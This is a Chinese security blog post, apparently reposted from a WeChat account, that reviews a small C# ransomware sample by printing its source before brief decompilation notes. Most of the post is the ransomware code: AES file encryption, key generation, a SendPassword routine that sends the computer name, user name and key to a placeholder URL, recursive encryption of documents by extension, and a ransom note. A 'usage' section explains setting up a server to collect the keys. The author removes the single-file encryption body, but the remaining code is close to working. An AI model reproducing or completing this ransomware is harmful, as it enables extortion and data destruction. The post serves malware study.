一个C#勒索样例的温习分析

admin 2022年5月26日11:30:39评论64 views字数 4555阅读15分11秒阅读模式

    最近碰到一个勒索病毒的现场。上周日对病毒程序进行了分析,是C#的,费了点劲,总体感觉不得劲,有点怪怪的摸不着头脑,可能是手生的缘故吧。


    今天也是巧了,还真是上天的眷顾,马上就让我碰到个C#写的勒索病毒(7年前的练习版,这个较简单),这个是有源码的,两厢对照,温习起来快多了。


我喜欢看源码,所以先来源码,再来反编译+逆向。


一、源码

主程序:

 static void Main()

        {

            Application.EnableVisualStyles();

            Application.SetCompatibleTextRenderingDefault(false);

            Application.Run(new Form1());

        }


很干净,直接Run Form1;

 public partial class Form1 : Form

    {

        //Url to send encryption password and computer info

        string targetURL = "https://www.example.com/write.php?info=";

        string userName = Environment.UserName;

        string computerName = System.Environment.MachineName.ToString();

        string userDir = "C:\Users\";



        public Form1()

        {

            InitializeComponent();

        }


        private void Form1_Load(object sender, EventArgs e)

        {

            Opacity = 0;

            this.ShowInTaskbar = false;

            //starts encryption at form load

            startAction();


        }


        private void Form_Shown(object sender, EventArgs e)

        {

            Visible = false;

            Opacity = 100;

        }


        //AES encryption algorithm

        public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)

        {

            byte[] encryptedBytes = null;

            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

            using (MemoryStream ms = new MemoryStream())

            {

                using (RijndaelManaged AES = new RijndaelManaged())

                {

                    AES.KeySize = 256;

                    AES.BlockSize = 128;


                    var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);

                    AES.Key = key.GetBytes(AES.KeySize / 8);

                    AES.IV = key.GetBytes(AES.BlockSize / 8);


                    AES.Mode = CipherMode.CBC;


                    using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))

                    {

                        cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);

                        cs.Close();

                    }

                    encryptedBytes = ms.ToArray();

                }

            }


            return encryptedBytes;

        }


        //creates random password for encryption

        public string CreatePassword(int length)

        {

            const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";

            StringBuilder res = new StringBuilder();

            Random rnd = new Random();

            while (0 < length--){

                res.Append(valid[rnd.Next(valid.Length)]);

            }

            return res.ToString();

        }


        //Sends created password target location

        public void SendPassword(string password){

            

            string info = computerName + "-" + userName + " " + password;

            var fullUrl = targetURL + info;

            var conent = new System.Net.WebClient().DownloadString(fullUrl);

        }


        //Encrypts single file

        public void EncryptFile(string file, string password)

        {

            。。。怕做坏事,这里去掉代码若干。。。

       }


        //encrypts target directory

        public void encryptDirectory(string location, string password)

        {

            //extensions to be encrypt

            var validExtensions = new[]

            {

                ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"

            };


            string[] files = Directory.GetFiles(location);

            string[] childDirectories = Directory.GetDirectories(location);

            for (int i = 0; i < files.Length; i++){

                string extension = Path.GetExtension(files[i]);

                if (validExtensions.Contains(extension))

                {

                    EncryptFile(files[i],password);

                }

            }

            for (int i = 0; i < childDirectories.Length; i++){

                encryptDirectory(childDirectories[i],password);

            }

       }


        public void startAction()

        {

            string password = CreatePassword(15);

            string path = "\Desktop\test";

            string startPath = userDir + userName + path;

            SendPassword(password);

            encryptDirectory(startPath,password);

            messageCreator();

            password = null;

            System.Windows.Forms.Application.Exit();

        }


        public void messageCreator()

        {

            string path = "\Desktop\test\READ_IT.txt";

            string fullpath = userDir + userName + path;

            string[] lines = { "Files have been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };

            System.IO.File.WriteAllLines(fullpath, lines);

        }

    }


特征

  • 使用 AES 算法加密文件。

  • 将加密密钥发送到服务器。

  • 加密文件可以在解密程序中使用加密密钥进行解密。

  • 在 Desktop 中创建一个带有给定消息的文本文件。

  • 小文件大小 (12 KB)

用法

  • 需要有一个支持脚本语言(如 php、python 等)的 Web 服务器。(你最好使用 Https 连接以避免窃听)

    string targetURL = "https://www.example.com/write.php?info=";

  • 该脚本应将 GET 参数写入文本文件。发送进程在SendPassword()函数中运行

    string info = computerName + "-" + userName + " " + password;
    var fullUrl = targetURL + info;
    var conent = new System.Net.WebClient().DownloadString(fullUrl);
  • 可以更改目标文件扩展名。默认列表:

  • var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png",


二、反编译

有了源码,看反编译就好看多了。

一个C#勒索样例的温习分析

Main主程序入口,直接Run Form1。

一个C#勒索样例的温习分析

有这么多函数,基本和源码是一样的。我们来看几个函数,

一个C#勒索样例的温习分析

一个C#勒索样例的温习分析

上传到指定服务器中。


三、逆向

一个C#勒索样例的温习分析

Main入口清晰明了。

一个C#勒索样例的温习分析

进入一个函数看看,

一个C#勒索样例的温习分析

这好像有点不太习惯了!


    就这样吧,简单点,有机会给大家展示下上周的那个勒索病毒的分析过程。

原文始发于微信公众号(MicroPest):一个C#勒索样例的温习分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月26日11:30:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个C#勒索样例的温习分析https://cn-sec.com/archives/1051321.html

发表评论

匿名网友 填写信息